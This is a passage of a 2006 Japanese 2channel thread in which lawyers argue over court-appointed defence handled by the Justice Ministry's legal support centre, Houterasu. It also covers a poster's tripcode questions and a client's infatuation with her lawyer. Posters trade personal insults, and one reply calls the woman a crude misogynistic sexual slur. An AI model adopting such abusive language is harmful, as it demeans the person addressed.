検察官と法テラス弁護士が対立当事者になるのとを同視は
できないんじゃないかと思うわけです。
それは言いすぎちゃうかと。
インハウスの弁護士なんかは独立してる弁護士と違って、
会社の主務官庁ってのがありますよね。
つまり省は違うけど、抽象的には国の監督を受けていることにもなる。
じゃあインハウスの弁護士が国選弁護人になっちゃまずいかというと
そうは思わない。法テラスのジュディケア弁護士も利益相反ってのは
言いすぎじゃないかと思うわけです。

682 :無責任な名無しさん:2006/06/01(木) 17:57:59 ID:pBjQA0rA
ま、ここは2ちゃんねるだから。

TN氏もホントに利益相反だと思ってるのかどうか分からんし。
2ちゃんねるでほえてるだけなら、かわいいだけで、
マジレスする方も阿呆に見えたりするよ。

法律違反だとは思わんけど、刑事の弁護人制度を
法務省管轄の支援センターに扱わせるという仕組みを
作った香具師は、弁護士一般のこういう反発なんか
全然考えもしなかったのか。
それとも、そんなものそのうち、なびいてくると思ったのか、
それこそ本音を聞いてみたいもんだ。

俺自身は、後者だと思ってる。
旧厚生省が、医師会の力を削ぐために、医師を大量生産
したのと同じ構図が見えてしまう。


683 :TN:2006/06/01(木) 18:00:10 ID:9uYIzSS8
人事権が及ぶことを忘れちゃいけないよ
(都合の悪いのはやらせてもらえない)
インハウスの事例はそもそも国の監督権限が及ぶ場合じゃないから事例としては不適切だと思う
日弁連は「検察主導になることは断じて許さない」とでも言いそうだけど,
ならそういう可能性が十分にある制度にどうしてゴーサイン出したんだと言うことになっちゃう
不正の温床となるようなシステムは制度として忌避するのが当然でしょう
同じ事務所の弁護士同士でも双方の利益が正当に守られることはあるだろうけど,
世間から疑念の目で見られるし,なれ合いでやる恐れが十分にあるから,みんな回避するわけだ
やはり制度として否定しないといけないでしょう



684 :無責任な名無しさん:2006/06/01(木) 18:07:31 ID:fTvniYXc
>>683
おまえのは後付の理由だから子供みたいなこと言うなと言ってるんだよ。
卑しい

685 :無責任な名無しさん:2006/06/01(木) 18:09:56 ID:61OSsa3t
TN氏って昼間から2ch三昧のおじさんだろ。

こいつを真面目に扱う方が馬鹿だと思うが。

686 :TN:2006/06/01(木) 18:10:09 ID:9uYIzSS8
>>682
単に利権を確保したかっただけだと思うよ
(例えば所属弁護士に国選をたくさんやらせて報酬の半分ぐらいピンハネすれば,自由になるカネが増える)
単位会でも発言してますから可愛くないかも


687 :TN:2006/06/01(木) 18:11:46 ID:9uYIzSS8
>>685
ちゃんと稼いでるから心配するな

688 :無責任な名無しさん:2006/06/01(木) 18:15:51 ID:RGZ7BkU0
今回の法テラスの刑事スキームがよい制度だと思っている弁護士はおそらく一人もいないだろう。

689 :無責任な名無しさん:2006/06/01(木) 18:20:49 ID:fTvniYXc
>>688
そりゃそうだ
資力要件検討して国選付けない私選でやれってなった時に,どうやって金を回収するんだ。
金があるのと払うのとは別だし。金持ってくるまでやらないという私選では普通のことをやったら,少なくともかなりの批判を浴びるだろう。

ただ,どっちみちやらない奴が,理屈こねくり回して批判だけしてるのは,旧社会党っぽくって嫌だ。

690 :TN:2006/06/01(木) 18:21:13 ID:9uYIzSS8
>>688
民事もよくないよ
一種のハコモノ行政だね

691 :無責任な名無しさん:2006/06/01(木) 18:22:21 ID:fTvniYXc
上のは制度のおかしな所としての一例ね

692 :無責任な名無しさん:2006/06/01(木) 18:38:05 ID:X2F/Zuxj
お偉方は、虎穴にいらずんば虎児を得ずとの理屈で法テラス賛成の旗振りをした。
同じ理屈で、法曹一元のために必要と言って、法曹人口大増員賛成の旗振りをしたが、
大増員されたのは弁護士だけで、JもPもそんなに増えなかった。法曹一元にもならなかった。
法テラスも同じ轍を踏むだろうな。

693 :無責任な名無しさん:2006/06/01(木) 19:09:29 ID:1+GK32me
まあ、それでもそういう人たちが会長に当選するのが現実ですから・・・

694 :無責任な名無しさん:2006/06/01(木) 19:29:17 ID:6ZwuMMM7
政治家が悪いのか、それを選ぶ国民が悪いのかという議論みたいなもんだな。
結局執行部の質は日本の弁護士の質を反映しているということだ。

695 :無責任な名無しさん:2006/06/01(木) 20:03:42 ID:VB7UC5Z9
>>686
TN先生
そりゃ理屈として通らないでしょ。

国選報酬から半分もピンハネできるわけがない。

696 :TN:2006/06/01(木) 20:15:52 ID:GdZnZKjR
雇用弁護士の場合、新人の給料は月40万ぐらいだろうから、月10件ぐらい配点すれば可能だよ。
役人ていうのは、そういうセコい連中なんだよ。
日弁連より法務省のほうが上手だったということだろう。

今日は気分が乗らなくて仕事にならなかった。みんな暇潰しに付き合ってくれてアリガトね。

697 :無責任な名無しさん:2006/06/01(木) 20:50:25 ID:qbGfVCLk
すみません。当方非弁ですが、質問させて下さい。
なおスレ違いの場合には、誘導願います。

当方民事訴訟の原告ですが、相手方(代理人付)が書証があるにもかかわらず、準備書面で明らかに不実を主張してきました。
これは、いわゆる「弁護過誤」にはあたらないのですか?

仮に「弁護過誤」にあたる場合、相手方代理人弁護士を都道府県弁護士会に対して懲戒請求することは可能ですか。

698 :無責任な名無しさん:2006/06/01(木) 21:09:00 ID:+gfKe9xD
国選やりたくないなら、変に理屈を付けてボランティア派の
神経を逆なでするようなことはしないで黙っててくれよ。



699 :無責任な名無しさん:2006/06/01(木) 21:26:58 ID:LbYYyhNG
裁判の中で不実であることを主張して、証明すればいいだけのこと。
それでも負けるのなら、そもそも懲戒請求なんて無理。

700 :TN:2006/06/01(木) 21:37:48 ID:GdZnZKjR
私は国選をやりたくないなんて別に思ってませんよ。ただどうしてこんな制度を日弁連が通してしまったのか不思議でしょうがないだけ。
単位会では誰も反論してくれないけど、今日は多少まともな反論があったので有益でした。

701 :無責任な名無しさん:2006/06/01(木) 21:44:10 ID:LlgVtnzO
>>700
口だけの人間だと思われて,相手にされてないのでは?

702 :TN:2006/06/01(木) 21:53:18 ID:GdZnZKjR
相手にはされてますよ
副会長就任もしつこく要請されましたし
(断ったけど)

703 :無責任な名無しさん:2006/06/01(木) 21:59:52 ID:dY5JV76U
>TNさん

 非弁の荒らしにマジレスしないでいいよ
 わかっている人にはわかっているから

704 :無責任な名無しさん:2006/06/01(木) 22:04:02 ID:/vO4LiIv
副会長ってのは田舎の会では強制義務だろ
相手にしてるしてないじゃないよ
順番来たらやれよ。みんな嫌々やってんだよ

で、それを断ったんだろ
単にわがまま言って仕事しない奴じゃないか。
黙ってろとしか言えないな

705 :TN:2006/06/01(木) 22:08:46 ID:6ZwuMMM7
やるのは簡単だけど断るのは大変だからむしろ評価して欲しいところですね
やってれば今頃法テラスの準備という悪行に手を染めないと行けないから良心的兵役拒否です
ちなみにウチは割となりたい人が多いですけどね
一応政令指定都市ですから

706 :無責任な名無しさん:2006/06/01(木) 22:41:56 ID:EsejALL6
当職,国選は年に20件余りやる地方の弁護士だが,気持ちよくやりたいので,法テラスとは契約しない。

707 :無責任な名無しさん:2006/06/01(木) 22:44:21 ID:EsejALL6
しかしながら,総会やアンケートなどで素直にそう発言すると,あとで,「やりたくないだけでしょ?」と言われる。


708 :無責任な名無しさん:2006/06/01(木) 22:46:55 ID:1+GK32me
スレの流れからはちょっとずれるけど、示談成立させたら3万とか、もうアフォかと

709 :無責任な名無しさん:2006/06/02(金) 00:57:08 ID:uPO5NVSH
漏れの事務所では「国賠」が比較的多い。依頼者は元気いっぱーい反権力。中核はさん
とか革マル派さんとか,朝鮮総連の焼き肉屋・パチンコ屋が多い。こういう事件を呆テラ
スの援助制度でまかなってくれるのか?

710 :無責任な名無しさん:2006/06/02(金) 00:59:35 ID:EZ3+HM5e
安かろう悪かろう
だから私選にしよう

711 :無責任な名無しさん:2006/06/02(金) 01:07:30 ID:uPO5NVSH
<センセー,センセーは「反権力」のスタンスでいらっしゃると思っていまし
たのに,いつの間に呆テラスて契約したんですか? 玄関のドアに「宝テラス契約
事務所」のステッカーが貼ってありましたわよ。もう,センセーとの顧問契約は解除し
ますです。ブリブリ>

 と言われるとチョッチ辛いものがあります。

 昨日,当事務所で,事務員さんを交えた経営会議で,「呆テラス非契約」
を徹底的(たとい飢え死にするとしても)に貫徹する,と決議しマスタ。

712 :無責任な名無しさん:2006/06/02(金) 01:10:30 ID:uPO5NVSH
 内の事務所の事務員さんはお医者さんの娘で,かつての日本医師会(たけみたろう)のことをよく知っているのですね。

713 :無責任な名無しさん:2006/06/02(金) 02:35:32 ID:PFg/PO4G
法テラスについてはなにも思わないけれど、
>>679
> たぶん、法務省の支配下に置かれるというのが、気分的に腹立たしく
> 我慢できないんだろう。弁護士ならば誰でもその気持ちはよく分かるはず。
いや、別に法務省の支配下でもいいよ。
今だって日弁連の支配下なんだし、
だったら、わけのわからない政治的な主張をする日弁連より、
法務省の支配下においてくれた方が私的にはずっと好ましい。

714 :無責任な名無しさん:2006/06/02(金) 05:23:36 ID:fGlAfO7a
なんだ、TN氏は地方都市単位会の副会長も
嫌がってやってないのか。

お金にならないことはやりたくない。
周りの会員から相手にされない理由が分かったよ。

715 :TN:2006/06/02(金) 06:12:09 ID:StIfTu0g
しかし弁護士会というのは、つくづくムラ社会だと思うね。
体制派が寄ってたかって村八分にしようとする。
間違ったことが平気でまかり通る世界。

今の日弁連は末期的症状だよ。
恐らく10年以内に強制加入は外されるし、若手の急増で、乖離する旧勢力の指導力はますます低下する。
強制加入が廃止されたら当然出ていくよ。だから自分の人生にとって無意味な副会長は拒否してるだけ。

716 :無責任な名無しさん:2006/06/02(金) 06:54:04 ID:Tfw3wh9V
>自分の人生にとって無意味な副会長
地方の会で,副会長=雑用係に意味を見いだしてる奴なんて
皆無に等しいだろ。
つくづく自分本位にしか物事を考えられない人だな。

まあ,皆に相手にされなくなって,朝っぱらから
2chで日弁批判とはね。





717 :TN:2006/06/02(金) 07:03:30 ID:f/B1sDB/
ウチは中規模会なんで全員が副会長になる必要はないんだよ
なりたくてもなれない人もいるぐらいだし
(だから譲ってあげただけ)
その点100人未満の単位会とはちょっと事情が違うね

まあ毎年委員長もやってるし、日弁の委員もやってるから十分だとは思うけど


718 :無責任な名無しさん:2006/06/02(金) 07:45:21 ID:meUXi1gq
>だから譲ってあげただけ

あれっ、人生に無意味だから拒否したのじゃないのw
ネット上で人格を作り替えるつもりなら、
ちゃんと確認しないとねw

719 :TN:2006/06/02(金) 07:46:39 ID:f/B1sDB/
非弁君にレスしてあげよう

理由とは一つとは限らないんだよ

720 :TN:2006/06/02(金) 07:55:39 ID:f/B1sDB/
最近トリップつけたほうがいいのかな?って思ってるんだけど、
あれって意味あるんですか?
コピペすれば簡単に偽造できちゃうし
誰か2ちゃんに詳しい方教えて下さい

後2つコテ持ってるもんで

721 :TN:2006/06/02(金) 07:57:05 ID:f/B1sDB/
最近トリップつけたほうがいいのかな?って思ってるんだけど、
あれって意味あるんですか?
コピペすれば簡単に偽造できちゃうし
誰か2ちゃんに詳しい方教えて下さい

あと2つコテ持ってるもんで

722 :TN:2006/06/02(金) 07:57:56 ID:f/B1sDB/
連投スマソ

723 :無責任な名無しさん:2006/06/02(金) 07:57:55 ID:DHVgO1Cz
都合が悪くなると相手を「非弁」呼ばわり。
侮蔑的なレッテルを貼って、気が晴れたかね。


724 :TN:2006/06/02(金) 07:59:08 ID:f/B1sDB/
あの論理性のなさで司法試験受かるとは思わないからね
実際非弁だと思うよ

725 :無責任な名無しさん:2006/06/02(金) 08:01:15 ID:vyz7kzBp
コピペとは?
名前欄に◆を書いても◇になってしまう事を知らない?
後、★も☆に変わるし、●も○に変わる。
これらは、本物と偽物(●に関しては、有料ブラウザを使用しているかどうか。)を区別
するために、cgiでチェックして置き換えている。

726 :TN☆Bo5g0u7u2y1:2006/06/02(金) 08:14:45 ID:f/B1sDB/
サンクス
これでいいのかな
とりあえず自宅のパソコンね
じゃあ子供と一緒に行ってきます

727 :無責任な名無しさん:2006/06/02(金) 08:38:06 ID:jdlcHYSS
>>726
おいおい、それはトリップじゃないよ
トリップは、名前欄に#任意の文字列

728 : ◆miN5qFdHtQ :2006/06/02(金) 08:59:19 ID:5V+Fl36c
テスト

729 :TN ◆gpUt4wjlSk :2006/06/02(金) 09:01:43 ID:5V+Fl36c
テスト

730 :TN ◆gpUt4wjlSk :2006/06/02(金) 09:09:08 ID:5V+Fl36c
やっと仕組みがわかりました
事務所のパソコンです
書き込みツールがLOパソ,自宅パソ,携帯,PDAと4つあるんだけど
同じ文字列を入力すればどれでも同じに表示されるのかな?

今日はもう書き込みしないけど1ついっとくと,
私の書き込みが理由のない戯言だと思ってればみんな腹も立たないし,
私を単なる馬鹿だと思って終わりでしょう
みんな実は誤りに気付いてるんだけどそれを認められないもどかしさから私にあたるワケね
まあ自己責任で各自身の振り方を選択してください
私以外の法テラス反対派の書き込みも結構あるんですよ
私がコテつけてるから集中砲火浴びてるだけで
モグラたたきができて楽しかったけど

731 :無責任な名無しさん:2006/06/02(金) 09:28:13 ID:YIvKjdGN
>TN氏
法テラスがいい制度だとは思っていません。
もっとも法律違反だとまでも思ってない。
法テラスがなくても対応できる態勢を弁護士会が構築しているなら
何の遠慮もしないけど、現状はそうなってない。
法テラスのような仕組みが必要か、必要でないか、そこの認識の違いでしょう。
私は必要だと思ってるから、いい制度だとは思わないけどこれには協力せざるを
えないだろう、負担の重さは容易に推測できるのでこれをスタッフ弁護士や他会員
に任せっきりにはできない、そのように考えているところです。
まぁ他会員にどう見られるかっていう体面が気になることも否定はできないですが、
動機の多くは負担はできるだけ薄く広くが妥当だと考えている点にあります。

732 :無責任な名無しさん:2006/06/02(金) 09:33:46 ID:m+sVNK9B
法テラスでの国選弁護がいいと思えないのは確かなんだけどね。
ただ、予算の関係で「法テラスを通さないと、国選の報酬が出ません。」とかいうことになってくると、ちょっとなあ。
法テラス通さずに国選やっても違法じゃないらしいが、国選を無料でやれるほど、経営に余裕があるわけじゃないからなあ。

733 :無責任な名無しさん:2006/06/02(金) 09:44:57 ID:HxDrf4A1
法テラスで国選だと、弁護方針にいちいち口出されそうな気がして嫌だ。



734 :無責任な名無しさん:2006/06/02(金) 11:11:53 ID:5jlgMPRu
>>733
おれも法テラス反対でいやだけど、弁護方針に口出すことまではしないんじゃないかと思ってる。
かつて、放送大学の設立が決まったとき、国の関与のもとでは自由な研究ができない、大学の
自治が犯されるという反対論があったようだ(渡辺洋三かだれかの岩波新書に書いてある。著者
はとにかく国立大の教授だったw)。弁護方針に口出す論は、言いがかりじゃないかな。

報酬の出し渋りが自由な弁護を圧迫するものだという反論は出そうだが。

735 :無責任な名無しさん:2006/06/02(金) 11:25:40 ID:suxzapQ+
他の人はどうか知らないが,俺がTN氏の発言に違和感を覚える理由は,
俺は,センターが絡むかどうかに関わりなく,最終的には,
裁判所から国選の依頼をされたら,弁護士として引き受けなきゃ
ならないと思っているから。

736 :無責任な名無しさん:2006/06/02(金) 11:34:20 ID:d5T2I1qx
国選弁護は、裁判所が命令で直接弁護人を選任するものだろう。
裁判所と弁護士との間に法務省が入るのは、どう考えても構造的におかしいだろう。

737 :無責任な名無しさん:2006/06/02(金) 12:22:32 ID:+lLFt2br
検察と法テラスが法務省でつながっていると被告人が知ったら、信頼関係を構築するのが面倒になりそう。


738 :無責任な名無しさん:2006/06/02(金) 12:31:33 ID:um+e8ahy
 漏れは支部弁護士で、年間20件以上やってるけど、包括契約は締結するつもり。
但し、個別契約については出来る範囲でしかやらない(特に3年後は)。いままでは、他の弁護士にしわ寄せがいくので我慢していたが、今後は法テラスが何とかするのだろうし(出来なくても知らない)。
 法曹人口を増加させて自由競争を導入するからには、報酬の多寡によってサービス内容に差が生ずるのは当然だし、公的弁護の義務性は薄れて、単価の安い公共工事のようなもの(遊んでいるよりはまし。)として位置づけることになると思う。
 本庁には1件もやらない弁護士がいるのに、刑弁委員会は地元でやって当たり前という考えでいるのにもカチンときているしね。

739 :無責任な名無しさん:2006/06/02(金) 15:03:41 ID:DtmI/uM5
法テラスでリストを作って,依頼する弁護士を選別することは既定路線らしいし。
問題は,どういう基準で選別するか。

740 :無責任な名無しさん:2006/06/02(金) 15:04:59 ID:DtmI/uM5
>>735
反対派は,「裁判所から依頼されたら受けるけど,法テラスとは契約しない」という人が多数だと思う。

741 :無責任な名無しさん:2006/06/02(金) 15:44:41 ID:ty8xDHFZ
>>737
国選でいちいち被告人と信頼関係を築いているんですかああそうですか良い弁護士ですねw

742 :無責任な名無しさん:2006/06/02(金) 15:45:33 ID:ty8xDHFZ
>>740
TN氏は,裁判所から依頼されてもそもそも最初からやらない
という少数派です

743 :無責任な名無しさん:2006/06/02(金) 17:55:56 ID:1vt6mlWh
まあ,俺も40過ぎてからは公判段階の国選でも十分しんどいので,
被疑者国選をやりたくない気持は分からんでもない。

ただ,俺がいる小単位会では,そんなわがままは
到底許されないのだが。

744 :無責任な名無しさん:2006/06/02(金) 19:53:13 ID:YIvKjdGN
弁護士事務所ネットというのを見た。
かなり過疎ってる。そもそも弁護士事務所って言い方がシロートだし。
が、のけぞった。
福岡県の一番下の事務所。弁護士事務所じゃないんだけど。

http://www.bengoshi-jimusho.net/area/710/

745 :無責任な名無しさん:2006/06/02(金) 20:02:28 ID:PC8V8W7k
何か話がずれてませんか?

TN先生のお話は
国選をやる、やらないということじゃなくて
法テラスの制度下での国選はやだってことでしょ。

正直俺もやりたくないですよ。


746 :無責任な名無しさん:2006/06/02(金) 20:02:30 ID:GlQE319H
法テラスは、ここでは国選、国選ッテだけに焦点が絞られてますね。

あんなモン、国公立小・中・高・大、修習生と、
税金のおかげで育った今のオレがあるというボランティアの気持ちから、
裁判所から電話があれば、イヤとは言わずに今までやって来ました。

これからは、何、契約をしなければやらなくて済むというんだって、・・・。
どうぞ、やりたい人は幾らでも居るだろうから・・・。
お疲れさん。

都会にいるせいか、自由業のなんたるかを味わえない先生方も、
地方には少なくないようで。
まー、弁護士も浮き世の存在ですからね。
ご愁傷様。


747 :無責任な名無しさん:2006/06/02(金) 20:11:07 ID:qWHEMPU9
言葉の意味はよく分からんが、とにかくすごい自身ぜよ。

748 :無責任な名無しさん:2006/06/02(金) 20:32:51 ID:LTuznVb+
自由と正義に、国選ばかりやるスタッフ弁護士ってあったけど
そんな仕事に魅力ややりがいがあるのかなぁ。
応募する人っているのかなぁ。
1年もしないうちに精神に破綻をきたしそうな気がするが・・・

749 :無責任な名無しさん:2006/06/02(金) 20:34:32 ID:EZ3+HM5e
大丈夫だよ
検事は病院行かずに働いているからw

750 :無責任な名無しさん:2006/06/02(金) 20:42:09 ID:LTuznVb+
でも、バランス感覚のある健全な常識人には務まらんだろう。

751 :無責任な名無しさん:2006/06/02(金) 20:45:41 ID:tKYQLG5Q
たしかに検事の目つきは尋常じゃないからな

752 :TN ◆gpUt4wjlSk :2006/06/02(金) 20:57:45 ID:f/B1sDB/
自宅で晩飯食いながらカキコ

法テラスはとんでもない制度だけど地方で国選の負担に苦しんでる人たちには救いの神となるよ
少なくとも被疑者国選が本格化する3年後には嫌ならやらなくても済むと思う
新人が法テラスの雇用弁護士となるには協力事務所で1年修行しなければならないので今年の秋には間に合わないけど、
来年以降は修行を終えた弁護士が専属でやるし、
人手の少ないところに法テラスの命令で派遣されるだろうから、
国選を担う人材に事欠くことはないだろうね
幸い修習生の就職難で新人が嫌がって入らないということもないだろう

>>731
不当だが違法とまでは言えないという理屈ね
ただあなたと私の違いは法的評価のみで事実認識にはそれほど差がない
(厳密に言うと違うけどめんどくさいので端折る)

>>742
そんな細かいことまで考えてないよ
大体ウチは弁護士会が割り振ってるので裁判所から受任してるという意識はないな
管財事件の依頼は直接裁判官から来るけどね
一応弁護士法では役所からの事件依頼には受任義務が課されてます
(麻原の弁護とか俺に依頼してきたらどうなるんだろ?)


753 :無責任な名無しさん:2006/06/02(金) 21:12:30 ID:AcsKkw7Y
で、管財は儲かるからやるということですな。

ちなみに、田舎にはスタッフ弁護士の配属はまだ先のようです。
3年後でも嫌々やらされるでしょう。
59期のスタッフ弁護士希望ってわずか20人ですよ。

あなたは世間の事情を知らないようですね。だからたたかれるんですよ。

754 :TN ◆gpUt4wjlSk :2006/06/02(金) 21:20:11 ID:f/B1sDB/
今は希望しなくても行かざるを得なくなるよ
オレの聞いてる範囲では大阪で30人、京都で十数人が就職未定らしい
来年は2500人中1000人以上はあぶれる計算
法テラスも結構過当競争でそんな変なのは入れないと思うよ


755 :TN ◆gpUt4wjlSk :2006/06/02(金) 21:39:10 ID:UIfs5+Kc
しかし本質をはずした人格非難ばかりで嫌になるね。できの悪い準備書面みたいだ。

756 :無責任な名無しさん:2006/06/02(金) 21:54:53 ID:tKYQLG5Q
TN氏はズバリ広島か仙台やね
かろうじて政令指定都市で支部じゃないとなると

757 :無責任な名無しさん:2006/06/03(土) 00:12:39 ID:4PhHbcwM
TN先生へ

僕は先生の意見には実は賛成です。

しかし、マターリを信条とする本音talkに
ぐちゃぐちゃ書き散らすな。うざいわ。

↓こちらへドゾー
http://school5.2ch.net/test/read.cgi/shikaku/1146661132/


758 :無責任な名無しさん:2006/06/03(土) 06:01:37 ID:CGXjDSUk
そうだね。
もうそろそろこの話題も終わりにしてくれないと,
せっかくここまで続いたスレが潰れるかもな。

TNさん,別の場所で議論してください。

759 :TN ◆gpUt4wjlSk :2006/06/03(土) 07:21:44 ID:2YfNU2kl
わかりました。もうしません。でもあたるべきは私じゃなくて年貢を納めている先ですよ。

760 :無責任な名無しさん:2006/06/03(土) 07:56:00 ID:n/i60NER
まあ,TNさんのような方には,小さな単位会では
事情が違うということを理解していただきたい。

俺は年間30件以上の国選弁護を受任しているが,
その売上は全体の5%に満たない。
だから,国選をやめることに何の支障もないが,
俺がやめたら,それが直に周りの弁護士の負担増になる。

被疑者国選の導入に賛成した奴らには腹が立つが,
今さら,支援センターが絡むかどうかなんて,
関係ないのよね。

761 :無責任な名無しさん:2006/06/03(土) 08:35:50 ID:denG0zCT
そのうち管財人も法テラスを介して選任されるようになる。
そのうち中間搾取をされるようになる。
今は地方事務所長は弁護士だがそのうち・・・・

762 :無責任な名無しさん:2006/06/03(土) 10:52:30 ID:nQTy6nbH
管財人法テラス絡むかなあ?

ま、絡むようになったら弁護士辞めた方が良いな。


>>757
うざいとかいって燃料投下するなよw

763 :無責任な名無しさん:2006/06/03(土) 11:36:03 ID:ve9us1Ik
俺に反対する奴は、皆、本心は俺に賛成だけど、
日弁には文句を言えないので、俺に八つ当たりしてるだけ。

すごい考えだなw

764 :無責任な名無しさん:2006/06/03(土) 11:36:17 ID:rnIgFKNz
管財事件に呆テラスが関与するとはちょっといくら何でも
筋違いじゃ。

そんなの妄想と切り捨てたいけど、変な気もするね。

やっぱり、今、弁護士はみんな、何で、こういう裁判所と
弁護士(会)でやってきたことを法務省が取り上げるんだ、
という感覚があって、管財事件もありうるかも、という
疑心暗鬼に駆られているんではないかい。


765 :TN ◆gpUt4wjlSk :2006/06/03(土) 11:43:24 ID:saLBD2kp
小規模会の人が嫌だけどやめられない理由が身をもって分かったよ
ここでのオレみたいに陰湿なイジメにあうからだね

まあオレも農村出身のJターン組だから田舎者の精神構造はよく分かってる

766 :無責任な名無しさん:2006/06/03(土) 12:00:48 ID:nQTy6nbH
>>765
もうちょっと落ち着いて物事考えた方が良いよ。


767 :TN ◆gpUt4wjlSk :2006/06/03(土) 12:02:29 ID:saLBD2kp
落ち着いてるよ
だからもう肝心の話題には触れてない

768 :無責任な名無しさん:2006/06/03(土) 12:16:33 ID:d4dMQeGb
>わかりました。もうしません。
こう言った後、煽りに対してきっぱりと返答を止めてたら
少しは見直したのだが。。。

案の定、我慢できなくなって、弁解の垂れ流ししてるな。
この馬鹿。

769 :無責任な名無しさん:2006/06/03(土) 12:17:10 ID:nQTy6nbH
>>767
煽るようなこと言ってたら治まらないのがわからないのか?

770 :無責任な名無しさん:2006/06/03(土) 12:24:42 ID:2YfNU2kl
やめると反論がないと思って後ろから石投げる奴が出てきたからね。正当防衛だよ。まあこれ読んでる多数の人にはわかってるだろうからそれでいいよ。

771 :無責任な名無しさん:2006/06/03(土) 12:37:39 ID:0BHS910Z
まあみんなもちつけ。
マターリいこう。

772 :無責任な名無しさん:2006/06/03(土) 12:55:31 ID:RAT5N+R1
>やめると反論がないと思って後ろから石投げる奴が出てきたからね。正当防衛だよ。

反対尋問をやって墓穴を掘るタイプだなw

773 :無責任な名無しさん:2006/06/03(土) 12:56:51 ID:nQTy6nbH
>>770
トリップが違う上にIDも違うのに、あたかもTNさん自身の反論のようですよ。
ご注意あれ

774 :無責任な名無しさん:2006/06/03(土) 12:59:52 ID:6n67+ywR
そんなことより、村上の話しようよ。

775 :TN ◆gpUt4wjlSk :2006/06/03(土) 13:03:59 ID:2YfNU2kl
ゴメン。770は私です。皆さんのほうから私を侮辱する書き込みをしなければ、私も一切触れません。

776 :無責任な名無しさん:2006/06/03(土) 13:08:41 ID:GQmHVLBs
>皆さんのほうから私を侮辱する書き込みをしなければ

煽りに対して我慢もできない。
まさに大馬鹿者だなw

777 :無責任な名無しさん:2006/06/03(土) 13:20:18 ID:GG8GUlko
不毛だな

778 :無責任な名無しさん:2006/06/03(土) 13:23:33 ID:gXcB8Ee0
泣くのは国選しか頼めない資力がない被告人だけ

779 :無責任な名無しさん:2006/06/03(土) 16:05:50 ID:3W8iXBi5
喧嘩するな。議論にしなさい。
「馬鹿」とかいうような、議論の中身とは離れた
人格非難や侮蔑はいけない。
議論で勝てないからそういうことを言い出すんだろうと
思われちゃうよ。

780 :無責任な名無しさん:2006/06/03(土) 18:19:37 ID:Ak8zzRon
おっしゃるとおり。

781 :無責任な名無しさん:2006/06/03(土) 18:22:37 ID:uccKTqOi
議論して解決するならもうやってるでしょw
議論で物事が解決するのなら内ゲバなんておこらないっしょ

782 :無責任な名無しさん:2006/06/03(土) 18:23:23 ID:gXcB8Ee0
>>779
賛成です
これから「馬鹿」と人格非難や侮辱する者は
「非弁ト看做ス」でどうですか?

783 :無責任な名無しさん:2006/06/03(土) 18:39:23 ID:8Lf8siJz
でもそーゆー準備書面よく見るぞw

784 :無責任な名無しさん:2006/06/03(土) 18:40:16 ID:uccKTqOi
あるあるw

785 :無責任な名無しさん:2006/06/03(土) 18:53:17 ID:gXcB8Ee0
確かにw
ネットで活躍している自称●●弁護士がひどかった
「愚か者」とか「卑怯者」とか準備書面に書いてきて
兄弁が「マジかよ〜」ってのけぞってた

786 :無責任な名無しさん:2006/06/03(土) 19:05:54 ID:vlNetQo8
>>785
ブログ炎上魔のこと?

787 :無責任な名無しさん:2006/06/03(土) 19:07:35 ID:gXcB8Ee0
>>786
実名暴いて法的制裁を加えると公言する弁護士さん
かどうかは黙秘して(ry

788 :無責任な名無しさん:2006/06/03(土) 19:48:52 ID:zNA3N2y2
依頼人の上、既婚なんですが
担当の弁護士に恋してしまいました。
弁護士さんも既婚者。

私は若くて見た目もいい方ではあります。
でもやっぱり無理かな。
一回だけでいいんだけどな。

789 :無責任な名無しさん:2006/06/03(土) 20:57:50 ID:vrJRlERr
男乙

790 :無責任な名無しさん:2006/06/03(土) 21:06:48 ID:IPzw0Xsq
ホストクラブ詐欺を2chでやらない方がいいよ。
このスレの弁護士はゲップがでるほど相談受けているし,そんなスパムしょっちゅうもらっているからw。

791 :無責任な名無しさん:2006/06/03(土) 21:08:57 ID:zNA3N2y2
いやホント本気で。
でも二十も年上なんですよ。
なんか全然相手にしてもらってない、というか子ども扱いで・・・。
うーん。どうしたものか。

792 :無責任な名無しさん:2006/06/03(土) 21:12:55 ID:IPzw0Xsq
>>791
あきらめなさい。
そこまでこだわる貴方に幸福はこない。
下手をすればストーカーになって警察に捕まるのがオチ。

793 :無責任な名無しさん:2006/06/03(土) 21:34:19 ID:zNA3N2y2
そんなしつこくしたりするつもりはないんです。
脈がありそうな気がするからこそ、気になってしまって。

依頼人とどうこうなるってのは、基本的にはないことなんですよね?
でも絶対無いってことじゃないですよね。

取り合えずご飯でも誘ってみようかな。
それで駄目なら諦めよう。

794 :無責任な名無しさん:2006/06/03(土) 21:43:34 ID:QAuJHBA9
夫がいるのにそんなことを考えるなバカ
恥を知れ腐れマンコ


これでやめれるだろ

795 :無責任な名無しさん:2006/06/03(土) 21:49:27 ID:IPzw0Xsq
弁護士は人妻に手を出さないよ
発覚すればどんな地獄が待っているか
仕事柄たくさん阿鼻叫喚を見ているから
一時の快楽のために二つの家庭を壊した責任とるのは馬鹿げている

同僚にも陰でせせら笑われるし

796 :無責任な名無しさん:2006/06/03(土) 22:17:33 ID:zNA3N2y2
>>794
ごもっともです。ありがとう・・・。

>>795
ですよねぇ・・・
それもちょっと想像してたんですが、やっぱりそうですよね。
私、自分でお店(飲み屋)やってるんですが
そこに呼ぶくらいならいいかな。
来てくれるかな。
何も出来なくてもいいから、この件が済んで縁が切れるってのだけは嫌。
声がすっごい好きで、声を聞いてるだけでもいいんです。

あー。
恋するのが久しぶりなので、変なこと書きこんでしまってごめんなさい。
弱ってるから恋したような気持ちになってるのかしら。

797 :無責任な名無しさん:2006/06/03(土) 22:45:28 ID:wtZCRxbO
そうかね。

798 :無責任な名無しさん:2006/06/03(土) 23:25:24 ID:COP1c/iQ
弁護士は仕事だから貴女と話す。


それだけ。


799 :無責任な名無しさん:2006/06/03(土) 23:30:28 ID:n4fh0Tge
>>788で言うように若くて見た目もいいというのが本当なら,
その弁護士も悪い気はしないだろう。
しかしお前が既婚者というのやはりネックだな。
弁護士のほうが既婚者という点はそれほど問題ではないが。

800 :無責任な名無しさん:2006/06/03(土) 23:40:42 ID:IPzw0Xsq
それに下手をすれば,判れた依頼人から「強姦された!」とか「結婚詐欺にあった!」とかむちゃくちゃな理由で告訴されたり懲戒請求されたりするリスクがある(実例あるよ)。
そんな恥さらしな懲戒案件を所属弁護士会で噂にしてもらいたい人はいないよね。
たとえデッチアゲで,告訴は嫌疑不十分,懲戒は申立却下となっても。
「あの先生,もてないからって依頼人と寝るなんて馬鹿だねー」と言われるのがオチ。

